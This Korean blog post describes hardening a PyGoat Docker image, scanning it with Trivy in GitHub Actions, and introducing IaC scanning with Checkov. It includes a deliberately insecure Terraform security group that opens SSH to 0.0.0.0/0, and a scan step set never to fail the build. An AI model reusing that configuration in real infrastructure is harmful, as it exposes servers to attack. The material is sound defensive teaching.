# 2. Builder 스테이지에서 설치된 바이너리만 복사
COPY --from=builder /root/.local /home/pygoat/.local
COPY --chown=pygoat:pygoat . .

# 3. 환경 변수 설정 (실행 경로 포함)
ENV PATH=/home/pygoat/.local/bin:$PATH \
    PYTHONDONTWRITEBYTECODE=1 \
    PYTHONUNBUFFERED=1

# 4. 보안: pygoat 사용자로 전환
USER pygoat

EXPOSE 8000

# 5. CMD 통합: 마이그레이션 후 서버 실행
# sh -c를 사용하여 두 명령어를 순차적으로 실행합니다.
CMD [&quot;sh&quot;, &quot;-c&quot;, &quot;python3 manage.py migrate &amp;amp;&amp;amp; gunicorn --bind 0.0.0.0:8000 --workers 3 pygoat.wsgi&quot;]&lt;/code&gt;&lt;/pre&gt;
&lt;p data-path-to-node=&quot;2&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;2&quot;&gt;1. 계정 및 그룹 생성 (RUN)&amp;nbsp; -&amp;gt; &lt;/b&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;RUN groupadd -r [A] &amp;amp;&amp;amp; useradd -r -g [A] [B]&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;4&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,0,0&quot;&gt;-r (System Account)&lt;/b&gt;: 해당 계정을 로그인 기능이 없는 &lt;b data-index-in-node=&quot;39&quot; data-path-to-node=&quot;4,0,0&quot;&gt;보안용 시스템 계정&lt;/b&gt;으로 설정함.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,1,0&quot;&gt;-g [A] (Group Assign)&lt;/b&gt;: 생성할 사용자(B)를 방금 만든 &lt;b data-index-in-node=&quot;41&quot; data-path-to-node=&quot;4,1,0&quot;&gt;그룹(A)에 소속&lt;/b&gt;시킴.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,2,0&quot;&gt;[A] (Group Name)&lt;/b&gt;: 권한 관리를 위한 &lt;b data-index-in-node=&quot;28&quot; data-path-to-node=&quot;4,2,0&quot;&gt;그룹 이름&lt;/b&gt; (예: app_group).&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,3,0&quot;&gt;[B] (User Name)&lt;/b&gt;: 실제로 프로세스를 실행할 &lt;b data-index-in-node=&quot;31&quot; data-path-to-node=&quot;4,3,0&quot;&gt;사용자 ID&lt;/b&gt; (예: app_user).&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-path-to-node=&quot;5&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;5&quot;&gt;2. 소유권 강제 변경 (COPY) -&amp;gt; &lt;/b&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;COPY --chown=[B]:[A] . .&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;7&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;7,0,0&quot;&gt;--chown=[B]:[A]&lt;/b&gt;: 복사하는 모든 파일의 소유자를 사용자(B)로, 그룹을 그룹(A)으로 즉시 변경함.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;7,1,0&quot;&gt;필요성&lt;/b&gt;: 이 과정이 없으면 파일은 root 소유가 되어, 나중에 비특권 사용자가 파일을 읽지 못하는 보안/기능 오류가 발생함.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-path-to-node=&quot;8&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;8&quot;&gt;3. 실행 주체 전환 (USER) -&amp;gt; &lt;/b&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;USER [B]&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;10&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;10,0,0&quot;&gt;USER [B]&lt;/b&gt;: 이후의 모든 명령(서버 실행 등)을 &lt;b data-index-in-node=&quot;30&quot; data-path-to-node=&quot;10,0,0&quot;&gt;사용자(B)의 권한으로 수행&lt;/b&gt;하도록 고정함.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;10,1,0&quot;&gt;보안 효과&lt;/b&gt;: 공격자가 서버를 해킹해도 root가 아닌 &lt;b data-index-in-node=&quot;30&quot; data-path-to-node=&quot;10,1,0&quot;&gt;제한된 사용자(B)&lt;/b&gt; 권한만 갖게 되어 시스템 전체 장악이 불가능함.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;workflow.yml&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1777878102104&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 5. Trivy: 빌드된 이미지 내 OS 패키지 및 라이브러리 취약점 진단
      - name: Run Trivy Image Scan (Report Only)
        uses: aquasecurity/trivy-action@master
        with:
          image-ref: '${{ secrets.DOCKERHUB_USERNAME }}/pygoat:hardened'
          format: 'table'
          exit-code: '0' # 취약점이 발견되어도 리포트 생성 후 빌드 지속 (사용자 요청 반영)
          severity: 'CRITICAL,HIGH' # 고위험군 취약점 집중 출력

      # 리포트 저장을 위한 JSON 포맷 스캔 별도 실행
      - name: Generate JSON Report for Artifact
        uses: aquasecurity/trivy-action@master
        with:
          image-ref: '${{ secrets.DOCKERHUB_USERNAME }}/pygoat:hardened'
          format: 'json'
          output: 'trivy-report.json'
          exit-code: '0'

      # 6. Artifact 업로드: 파이프라인 종료 후 GitHub Actions 결과 탭에서 취약점 리포트 다운로드 가능
      - name: Upload Trivy Scan Report
        uses: actions/upload-artifact@v4
        with:
          name: trivy-vulnerability-report
          path: trivy-report.json&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;3,0,0&quot;&gt;타겟 확정&lt;/b&gt;: 하드닝 설정이 완료된 pygoat:hardened 이미지를 검사 대상으로 지정함.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;3,1,0&quot;&gt;가용성 보장 (exit-code: 0)&lt;/b&gt;: 실습 단계이므로 고위험 취약점이 발견되어도 &lt;b data-index-in-node=&quot;38&quot; data-path-to-node=&quot;3,1,0&quot;&gt;빌드 중단 없이&lt;/b&gt; 프로세스를 지속함.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;3,2,0&quot;&gt;이중화 진단&lt;/b&gt;: 터미널 확인용(table) 로그와 정밀 분석용(json) 파일을 동시에 생성함.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;3,3,0&quot;&gt;증적 보관 (Artifact)&lt;/b&gt;: 생성된 JSON 리포트를 업로드하여 사후 분석 및 사고 대응 자료로 보존함&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;1-4) 결과 분석&lt;/span&gt; &lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;docker hardening 효과&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 패키지 수 87개 및 취약점 47개(기존 959개 대비 95% 감소) 달성 확인.&lt;/p&gt;
&lt;pre id=&quot;code_1777881232996&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 1. 전체 등급으로 재스캔 (필터링 없이)
trivy image -f json -o before_all.json [DOCKERHUB_ID]/pygoat:devsecops
trivy image -f json -o after_all.json [DOCKERHUB_ID]//pygoat:hardened

# 2. 전체 취약점 개수 비교
cat before_hardening.json | grep -i &quot;VulnerabilityID&quot; | wc -l
cat after_hardening.json | grep -i &quot;VulnerabilityID&quot; | wc -l

결과 959 -&amp;gt; 47&lt;/code&gt;&lt;/pre&gt;
&lt;p data-path-to-node=&quot;5&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;7&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;7,0,0&quot;&gt;최적화 완료&lt;/b&gt;: 일반적인 Debian 이미지(450개)에서 Distroless로 전환하여 불필요한 쉘(Shell), 패키지 매니저, 유틸리티를 모두 제거한 상태&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;7,1,0&quot;&gt;잔존 데이터 분석&lt;/b&gt;: 현재 남은 87개의 패키지와 47개의 취약점은 Python 인터프리터 자체와 필수 공유 라이브러리(glibc 등)에서 기인한 것이며, 더 이상 줄이는 것은 애플리케이션 구동에 영향을 줄 수 있음&lt;/li&gt;
&lt;/ul&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;9&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;9,0,0&quot;&gt;런타임 취약점&lt;/b&gt;: OS 레벨 하드닝은 끝났으나, Python 애플리케이션 코드 자체의 취약점이나 종속 라이브러리(SCA) 이슈는 별도의 가드레일(Snyk, OWASP ZAP)로 대응해야 함.&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;결과 분석&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;b&gt;severity: critica&lt;/b&gt;l&lt;/span&gt; 에 해당하는 취약점만 뽑아내서 json 형식으로 저장한 후 패키지명, CVE ID 등 핵심 내용만 뽑아보면&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1777885869691&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 1. 하드닝 전 이미지 
trivy image --severity CRITICAL --quiet -f json 유저명/이전이미지:태그 &amp;gt; before_hardening_critical

# 파일에서 패키지명, CVE ID, 현재 버전을 요약해서 출력
cat before_hardening_critical | grep -E '&quot;PkgName&quot;|&quot;VulnerabilityID&quot;|&quot;InstalledVersion&quot;' | paste - - - | awk -F'&quot;' '{print &quot;Package: &quot; $4 &quot; | ID: &quot; $8 &quot; | Installed: &quot; $12}'&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기존의 이미지는 curl, git, libc6 등 시스템 라이브러리 및 유틸리티가 남아있지만&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;697&quot; data-origin-height=&quot;552&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bjwvCp/dJMb99TM8Nf/Qc3P9krczBfzTDOLJ7CrQ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bjwvCp/dJMb99TM8Nf/Qc3P9krczBfzTDOLJ7CrQ0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bjwvCp/dJMb99TM8Nf/Qc3P9krczBfzTDOLJ7CrQ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbjwvCp%2FdJMb99TM8Nf%2FQc3P9krczBfzTDOLJ7CrQ0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;489&quot; height=&quot;387&quot; data-origin-width=&quot;697&quot; data-origin-height=&quot;552&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 이미지는 Django, PyYaML, Pillow 등 애플리케이션 실행에 필수적인 Python 패키지만 남은걸 알 수 있다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;517&quot; data-origin-height=&quot;153&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cZMhaZ/dJMcafsVY6r/KOyX6kiI80BVKJUKmxd1mk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cZMhaZ/dJMcafsVY6r/KOyX6kiI80BVKJUKmxd1mk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cZMhaZ/dJMcafsVY6r/KOyX6kiI80BVKJUKmxd1mk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcZMhaZ%2FdJMcafsVY6r%2FKOyX6kiI80BVKJUKmxd1mk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;388&quot; height=&quot;153&quot; data-origin-width=&quot;517&quot; data-origin-height=&quot;153&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이전 Snyk를 활용한 SCA 취약점 제거를 완벽하게 하지 않아서 남아있는 것으로 마찬가지로 두고 넘어가자.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;text-align: center;&quot; data-ke-size=&quot;size23&quot;&gt;2. Iac Security&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;IaC(Infrastructure as Code)&lt;/b&gt;는 '코드로 작성된 인프라' 라는 뜻으로 서버를 구축할 때 사람이 직접 터미널에 접속해 명령어를 입력하거나 UI를 클릭하는것이 아닌, 코드에 이런 사양의 서버와 네트워크를 만들어줘 라고 적어두고 도구가 이를 실행하게 한다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Docker file도 '컨테이너'라는 가상화된 인프라 환경을 어떻게 구성할지 코드로 기술한 문서로 IaC에 해당한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;660&quot; data-origin-height=&quot;190&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dlbD7P/dJMcadhA2hi/9qzJAUSrnLVHrozkrL3kDk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dlbD7P/dJMcadhA2hi/9qzJAUSrnLVHrozkrL3kDk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dlbD7P/dJMcadhA2hi/9qzJAUSrnLVHrozkrL3kDk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdlbD7P%2FdJMcadhA2hi%2F9qzJAUSrnLVHrozkrL3kDk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;660&quot; height=&quot;190&quot; data-origin-width=&quot;660&quot; data-origin-height=&quot;190&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;IaC는 버전 관리와 빠른 배포가 가능하지만 설계도 내 보안 결함이 대규모로 확산될 위험이 공존한다. 그렇기에 이미지 하드닝 후, 인프라 정의서인 &lt;b&gt;Docker file&lt;/b&gt; 및 &lt;b&gt;Terraform&lt;/b&gt; 설정 내 루트 권한 방치나 자원 제한 누락 등의 결함을 점검하는 과정이 필수적이다. 이번 단계에서는 정적 분석 도구인 &lt;b&gt;Checkov&lt;/b&gt;를 도입하여 보안 정책 위반 사항을 탐지할 예정이다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2-1) Terraform 코드 작성&lt;/h4&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;1) Terraform 핵심 개념&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Terraform&lt;/b&gt;은 &lt;b&gt;인프라를 수동으로 설정하지 않고 HCL(HashiCorp Configuration Language) 이라는 선언적 언어로 정의하며 클라우드 자원을 자동으로 생성,관리하는 IaC도구&lt;/b&gt;로 총 4단계 프로세스에 따라 작성된다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;7,0,0&quot;&gt;Provider 설정&lt;/b&gt;: AWS, Azure 등 주문을 넣을 대상 클라우드를 지정&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;7,1,0&quot;&gt;Resource 정의&lt;/b&gt;: HCL 문법을 사용하여 서버(EC2), 데이터베이스(RDS), 보안 그룹(SG) 등 필요한 자원을 코딩&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;7,2,0&quot;&gt;Plan(검토)&lt;/b&gt;: terraform plan 명령으로 코드가 실행되었을 때 실제 인프라에 어떤 변화가 생길지 미리 시뮬레이션&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;7,3,0&quot;&gt;Apply(실행)&lt;/b&gt;: 보안 검토가 완료된 코드를 terraform apply로 실행하여 실제 클라우드 환경에 인프라를 투사&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;2) Terraform 실습 예시 (&lt;span style=&quot;background-color: #f6e199;&quot;&gt;main.tf&lt;/span&gt;) &lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;취약하게 만든 Terraform 코드를 작성하여 이후 Checkov로 검사할 예정&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1777893452300&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 1. Provider 정의: AWS를 사용하겠다고 선언
provider &quot;aws&quot; {
  region = &quot;ap-northeast-2&quot;
}

# 2. Resource 정의: 보안 그룹(방화벽) 설정
resource &quot;aws_security_group&quot; &quot;pygoat_sg&quot; {
  name        = &quot;pygoat-weak-sg&quot;
  description = &quot;Example of insecure security group&quot;

  ingress {
    from_port   = 22
    to_port     = 22
    protocol    = &quot;tcp&quot;
    # [취약점] 전 세계 어디서든 SSH 접속이 가능함 (0.0.0.0/0)
    cidr_blocks = [&quot;0.0.0.0/0&quot;] 
  }

  ingress {
    from_port   = 80
    to_port     = 80
    protocol    = &quot;tcp&quot;
    cidr_blocks = [&quot;0.0.0.0/0&quot;]
  }
}

# 3. Resource 정의: 서버(EC2) 설정
resource &quot;aws_instance&quot; &quot;pygoat_server&quot; {
  ami           = &quot;ami-0c55b159cbfafe1f0&quot; # 예시용 이미지 ID
  instance_type = &quot;t2.micro&quot;
  
  # 위에서 만든 취약한 보안 그룹을 연결
  vpc_security_group_ids = [aws_security_group.pygoat_sg.id]

  tags = {
    Name = &quot;PyGoat-DevSecOps-Test&quot;
  }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;2-2) Checkov란?&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;Checkov&lt;/b&gt;란&lt;b&gt; IaC의 정적 분석을 통해 보안 취약점과 설정 오류를 빌드 전 단계에서 탐지&lt;/b&gt;하는 오픈 소스 보안 도구이다. &lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;작동 원리 및 특징&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;4&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,0,0&quot;&gt;프레임워크 자동 인식:&lt;/b&gt; 파일 확장자와 내부 구조를 분석하여 Docker, Terraform, Kubernetes, Helm, CloudFormation 등을 자동으로 구분&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,1,0&quot;&gt;정책 기반 스캔(Policy as Code):&lt;/b&gt; 수백 개의 기본 보안 정책(Check ID)을 내장하고 있으며, Python이나 YAML을 이용해 커스텀 정책 생성이 가능함.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,2,0&quot;&gt;멀티 플랫폼 지원:&lt;/b&gt; AWS, Azure, GCP 등 주요 클라우드 서비스 제공업체(CSP)의 모범 사례(Best Practices)를 준수하는지 점검함.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt; Check ID 체계 및 주요 항목 요약&lt;/span&gt; &lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;676&quot; data-origin-height=&quot;371&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kUaC6/dJMcagekQx4/8aUxk9hlXhF4kf0RqPiP0k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kUaC6/dJMcagekQx4/8aUxk9hlXhF4kf0RqPiP0k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kUaC6/dJMcagekQx4/8aUxk9hlXhF4kf0RqPiP0k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkUaC6%2FdJMcagekQx4%2F8aUxk9hlXhF4kf0RqPiP0k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;632&quot; height=&quot;347&quot; data-origin-width=&quot;676&quot; data-origin-height=&quot;371&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;667&quot; data-origin-height=&quot;253&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/n5EHG/dJMcaayqpNc/SyNn15FwQLja3b8CnjUsT0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/n5EHG/dJMcaayqpNc/SyNn15FwQLja3b8CnjUsT0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/n5EHG/dJMcaayqpNc/SyNn15FwQLja3b8CnjUsT0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fn5EHG%2FdJMcaayqpNc%2FSyNn15FwQLja3b8CnjUsT0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;635&quot; height=&quot;241&quot; data-origin-width=&quot;667&quot; data-origin-height=&quot;253&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;552&quot; data-origin-height=&quot;98&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/J3eGu/dJMcacXhmuL/E0hjivzXltYbo3ppx9SOMk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/J3eGu/dJMcacXhmuL/E0hjivzXltYbo3ppx9SOMk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/J3eGu/dJMcacXhmuL/E0hjivzXltYbo3ppx9SOMk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FJ3eGu%2FdJMcacXhmuL%2FE0hjivzXltYbo3ppx9SOMk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;552&quot; height=&quot;98&quot; data-origin-width=&quot;552&quot; data-origin-height=&quot;98&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;2-3) Dockerfile 검사&amp;nbsp;&lt;/span&gt;&lt;/h4&gt;
&lt;pre id=&quot;code_1777894031587&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;pip3 install checkov
checkov -f Dockerfile&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;보안 정책(Check ID)의 각 항목에 대해서 p/f 여부를 확인할 수 있다.&amp;nbsp;&lt;/p&gt;
